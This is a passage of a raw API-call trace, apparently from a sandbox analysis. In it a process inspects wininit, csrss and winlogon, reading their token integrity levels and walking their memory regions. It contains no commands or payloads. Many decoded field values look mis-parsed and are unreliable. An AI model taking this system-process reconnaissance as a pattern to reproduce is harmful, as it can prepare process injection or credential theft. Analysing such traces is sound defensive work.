VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x100000, AllocationBase=0x0, AllocationProtect=0x100000, RegionSize=0x0, State=0x2, Protect=0xfffff8a0, Type=0x7000), ResultLength=0x0) returned 0x0 [0094.616] NtQueryVirtualMemory (in: ProcessHandle=0x180, Address=0x7713a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x7713a000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x6000), ResultLength=0x0) returned 0x0 [0094.616] NtQueryVirtualMemory (in: ProcessHandle=0x180, Address=0x77140000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x77140000, AllocationBase=0x0, AllocationProtect=0x77140000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.619] NtQueryVirtualMemory (in: ProcessHandle=0x180, Address=0x7fefd0cb000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfd0cb000, AllocationBase=0x7fe, AllocationProtect=0xfd0b0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.619] NtQueryVirtualMemory (in: ProcessHandle=0x180, Address=0x7fefd0cc000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfd0cc000, AllocationBase=0x7fe, AllocationProtect=0xfd0b0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1c000), ResultLength=0x0) returned 0x0 [0094.619] NtQueryVirtualMemory (in: ProcessHandle=0x180, Address=0x7fefd0e8000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfd0e8000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x8000), ResultLength=0x0) returned 0x0 [0094.619] NtQueryVirtualMemory (in: ProcessHandle=0x180, Address=0x7fefd0f0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfd0f0000, AllocationBase=0x7fe, AllocationProtect=0xfd0f0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.620] NtQueryVirtualMemory (in: ProcessHandle=0x180, Address=0x7fefd0fd000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfd0fd000, AllocationBase=0x7fe, AllocationProtect=0xfd0f0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.620] NtQueryVirtualMemory (in: ProcessHandle=0x180, Address=0x7fefd0fe000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfd0fe000, AllocationBase=0x7fe, AllocationProtect=0xfd0f0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0094.620] NtQueryVirtualMemory (in: ProcessHandle=0x180, Address=0x7fefd101000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfd101000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0xf000), ResultLength=0x0) returned 0x0 [0094.620] NtQueryVirtualMemory (in: ProcessHandle=0x180, Address=0x7fefd110000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfd110000, AllocationBase=0x7fe, AllocationProtect=0xfd110000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.620] NtQueryVirtualMemory (in: ProcessHandle=0x180, Address=0x7fefd11a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfd11a000, AllocationBase=0x7fe, AllocationProtect=0xfd110000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x5000), ResultLength=0x0) returned 0x0 [0094.620] NtQueryVirtualMemory (in: ProcessHandle=0x180, Address=0x7fefd11f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfd11f000, AllocationBase=0x7fe, AllocationProtect=0xfd110000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x4000), ResultLength=0x0) returned 0x0 [0094.620] NtQueryVirtualMemory (in: ProcessHandle=0x180, Address=0x7fefd123000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfd123000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x2cd000), ResultLength=0x0) returned 0x0 [0094.620] NtQueryVirtualMemory (in: ProcessHandle=0x180, Address=0x7fefd3f0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfd3f0000, AllocationBase=0x7fe, AllocationProtect=0xfd3f0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.624] QueryFullProcessImageNameW (in: hProcess=0x15c, dwFlags=0x0, lpExeName=0xa6cde0, lpdwSize=0x119fa50 | out: lpExeName="C:\\Windows\\System32\\wininit.exe", lpdwSize=0x119fa50) returned 1 [0094.624] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa6cde0) returned 1 [0094.624] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0094.624] IsWow64Process (in: hProcess=0x15c, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0094.624] NtQueryInformationProcess (in: ProcessHandle=0x15c, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0094.624] GetProcessTimes (in: hProcess=0x15c, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0094.624] OpenProcessToken (in: ProcessHandle=0x15c, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0094.624] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0094.624] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0094.625] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0094.625] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0xab0d09 [0094.625] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0xab0d10 [0094.625] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0094.625] NtClose (Handle=0x2a0) returned 0x0 [0094.625] NtQueryVirtualMemory (in: ProcessHandle=0x15c, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0094.626] NtQueryVirtualMemory (in: ProcessHandle=0x15c, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x0, AllocationProtect=0x10000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0094.630] NtQueryVirtualMemory (in: ProcessHandle=0x15c, Address=0xff36d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xff36d000, AllocationBase=0x0, AllocationProtect=0xff350000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.630] NtQueryVirtualMemory (in: ProcessHandle=0x15c, Address=0xff36e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xff36e000, AllocationBase=0x0, AllocationProtect=0xff350000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.630] NtQueryVirtualMemory (in: ProcessHandle=0x15c, Address=0xff36f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xff36f000, AllocationBase=0x0, AllocationProtect=0xff350000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x4000), ResultLength=0x0) returned 0x0 [0094.630] NtQueryVirtualMemory (in: ProcessHandle=0x15c, Address=0xff373000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xff373000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0xfcfad000), ResultLength=0x0) returned 0x0 [0094.630] NtQueryVirtualMemory (in: ProcessHandle=0x15c, Address=0x7fefc320000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfc320000, AllocationBase=0x7fe, AllocationProtect=0xfc320000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.635] NtQueryVirtualMemory (in: ProcessHandle=0x15c, Address=0x7fefdc01000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfdc01000, AllocationBase=0x7fe, AllocationProtect=0xfdbd0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0xb000), ResultLength=0x0) returned 0x0 [0094.635] NtQueryVirtualMemory (in: ProcessHandle=0x15c, Address=0x7fefdc0c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfdc0c000, AllocationBase=0x7fe, AllocationProtect=0xfdbd0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.635] NtQueryVirtualMemory (in: ProcessHandle=0x15c, Address=0x7fefdc0d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfdc0d000, AllocationBase=0x7fe, AllocationProtect=0xfdbd0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0094.635] NtQueryVirtualMemory (in: ProcessHandle=0x15c, Address=0x7fefdc1d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfdc1d000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x133000), ResultLength=0x0) returned 0x0 [0094.635] NtQueryVirtualMemory (in: ProcessHandle=0x15c, Address=0x7fefdd50000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfdd50000, AllocationBase=0x7fe, AllocationProtect=0xfdd50000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.637] NtQueryVirtualMemory (in: ProcessHandle=0x15c, Address=0x7fefe123000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfe123000, AllocationBase=0x7fe, AllocationProtect=0xfe090000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.637] NtQueryVirtualMemory (in: ProcessHandle=0x15c, Address=0x7fefe124000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfe124000, AllocationBase=0x7fe, AllocationProtect=0xfe090000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.637] NtQueryVirtualMemory (in: ProcessHandle=0x15c, Address=0x7fefe125000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfe125000, AllocationBase=0x7fe, AllocationProtect=0xfe090000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0094.637] NtQueryVirtualMemory (in: ProcessHandle=0x15c, Address=0x7fefe127000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfe127000, AllocationBase=0x7fe, AllocationProtect=0xfe090000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x8000), ResultLength=0x0) returned 0x0 [0094.637] NtQueryVirtualMemory (in: ProcessHandle=0x15c, Address=0x7fefe12f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfe12f000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x3f1000), ResultLength=0x0) returned 0x0 [0094.637] NtQueryVirtualMemory (in: ProcessHandle=0x15c, Address=0x7fefe520000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfe520000, AllocationBase=0x7fe, AllocationProtect=0xfe520000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.639] QueryFullProcessImageNameW (in: hProcess=0x178, dwFlags=0x0, lpExeName=0xa6cde0, lpdwSize=0x119fa50 | out: lpExeName="C:\\Windows\\System32\\csrss.exe", lpdwSize=0x119fa50) returned 1 [0094.640] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa6cde0) returned 1 [0094.640] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0094.640] IsWow64Process (in: hProcess=0x178, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0094.640] NtQueryInformationProcess (in: ProcessHandle=0x178, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0094.640] GetProcessTimes (in: hProcess=0x178, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0094.640] OpenProcessToken (in: ProcessHandle=0x178, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0094.640] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0094.640] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0094.640] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0094.640] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0xab0d09 [0094.641] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0xab0d10 [0094.641] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0094.641] NtClose (Handle=0x2a0) returned 0x0 [0094.641] NtQueryVirtualMemory (in: ProcessHandle=0x178, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x100000), ResultLength=0x0) returned 0x0 [0094.641] NtQueryVirtualMemory (in: ProcessHandle=0x178, Address=0x100000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x100000, AllocationBase=0x0, AllocationProtect=0x100000, RegionSize=0x0, State=0x2, Protect=0xfffff8a0, Type=0x67000), ResultLength=0x0) returned 0x0 [0094.652] NtQueryVirtualMemory (in: ProcessHandle=0x178, Address=0x7713a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x7713a000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x6000), ResultLength=0x0) returned 0x0 [0094.652] NtQueryVirtualMemory (in: ProcessHandle=0x178, Address=0x77140000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x77140000, AllocationBase=0x0, AllocationProtect=0x77140000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.654] NtQueryVirtualMemory (in: ProcessHandle=0x178, Address=0x7fefd0cb000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfd0cb000, AllocationBase=0x7fe, AllocationProtect=0xfd0b0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.654] NtQueryVirtualMemory (in: ProcessHandle=0x178, Address=0x7fefd0cc000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfd0cc000, AllocationBase=0x7fe, AllocationProtect=0xfd0b0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1c000), ResultLength=0x0) returned 0x0 [0094.654] NtQueryVirtualMemory (in: ProcessHandle=0x178, Address=0x7fefd0e8000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfd0e8000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x8000), ResultLength=0x0) returned 0x0 [0094.654] NtQueryVirtualMemory (in: ProcessHandle=0x178, Address=0x7fefd0f0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfd0f0000, AllocationBase=0x7fe, AllocationProtect=0xfd0f0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.654] NtQueryVirtualMemory (in: ProcessHandle=0x178, Address=0x7fefd0fd000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfd0fd000, AllocationBase=0x7fe, AllocationProtect=0xfd0f0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.655] NtQueryVirtualMemory (in: ProcessHandle=0x178, Address=0x7fefd0fe000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfd0fe000, AllocationBase=0x7fe, AllocationProtect=0xfd0f0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0094.655] NtQueryVirtualMemory (in: ProcessHandle=0x178, Address=0x7fefd101000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfd101000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0xf000), ResultLength=0x0) returned 0x0 [0094.655] NtQueryVirtualMemory (in: ProcessHandle=0x178, Address=0x7fefd110000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfd110000, AllocationBase=0x7fe, AllocationProtect=0xfd110000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.655] NtQueryVirtualMemory (in: ProcessHandle=0x178, Address=0x7fefd11a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfd11a000, AllocationBase=0x7fe, AllocationProtect=0xfd110000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x5000), ResultLength=0x0) returned 0x0 [0094.655] NtQueryVirtualMemory (in: ProcessHandle=0x178, Address=0x7fefd11f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfd11f000, AllocationBase=0x7fe, AllocationProtect=0xfd110000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x4000), ResultLength=0x0) returned 0x0 [0094.655] NtQueryVirtualMemory (in: ProcessHandle=0x178, Address=0x7fefd123000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfd123000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x2cd000), ResultLength=0x0) returned 0x0 [0094.655] NtQueryVirtualMemory (in: ProcessHandle=0x178, Address=0x7fefd3f0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfd3f0000, AllocationBase=0x7fe, AllocationProtect=0xfd3f0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.657] NtQueryVirtualMemory (in: ProcessHandle=0x178, Address=0x7fefe123000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfe123000, AllocationBase=0x7fe, AllocationProtect=0xfe090000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.657] NtQueryVirtualMemory (in: ProcessHandle=0x178, Address=0x7fefe124000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfe124000, AllocationBase=0x7fe, AllocationProtect=0xfe090000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.657] NtQueryVirtualMemory (in: ProcessHandle=0x178, Address=0x7fefe125000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfe125000, AllocationBase=0x7fe, AllocationProtect=0xfe090000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0094.657] NtQueryVirtualMemory (in: ProcessHandle=0x178, Address=0x7fefe127000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfe127000, AllocationBase=0x7fe, AllocationProtect=0xfe090000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x8000), ResultLength=0x0) returned 0x0 [0094.657] NtQueryVirtualMemory (in: ProcessHandle=0x178, Address=0x7fefe12f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfe12f000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x3f1000), ResultLength=0x0) returned 0x0 [0094.657] NtQueryVirtualMemory (in: ProcessHandle=0x178, Address=0x7fefe520000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfe520000, AllocationBase=0x7fe, AllocationProtect=0xfe520000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.658] QueryFullProcessImageNameW (in: hProcess=0x164, dwFlags=0x0, lpExeName=0xa4dd78, lpdwSize=0x119fa50 | out: lpExeName="C:\\Windows\\System32\\winlogon.exe", lpdwSize=0x119fa50) returned 1 [0094.659] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa4dd78) returned 1 [0094.659] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0094.659] 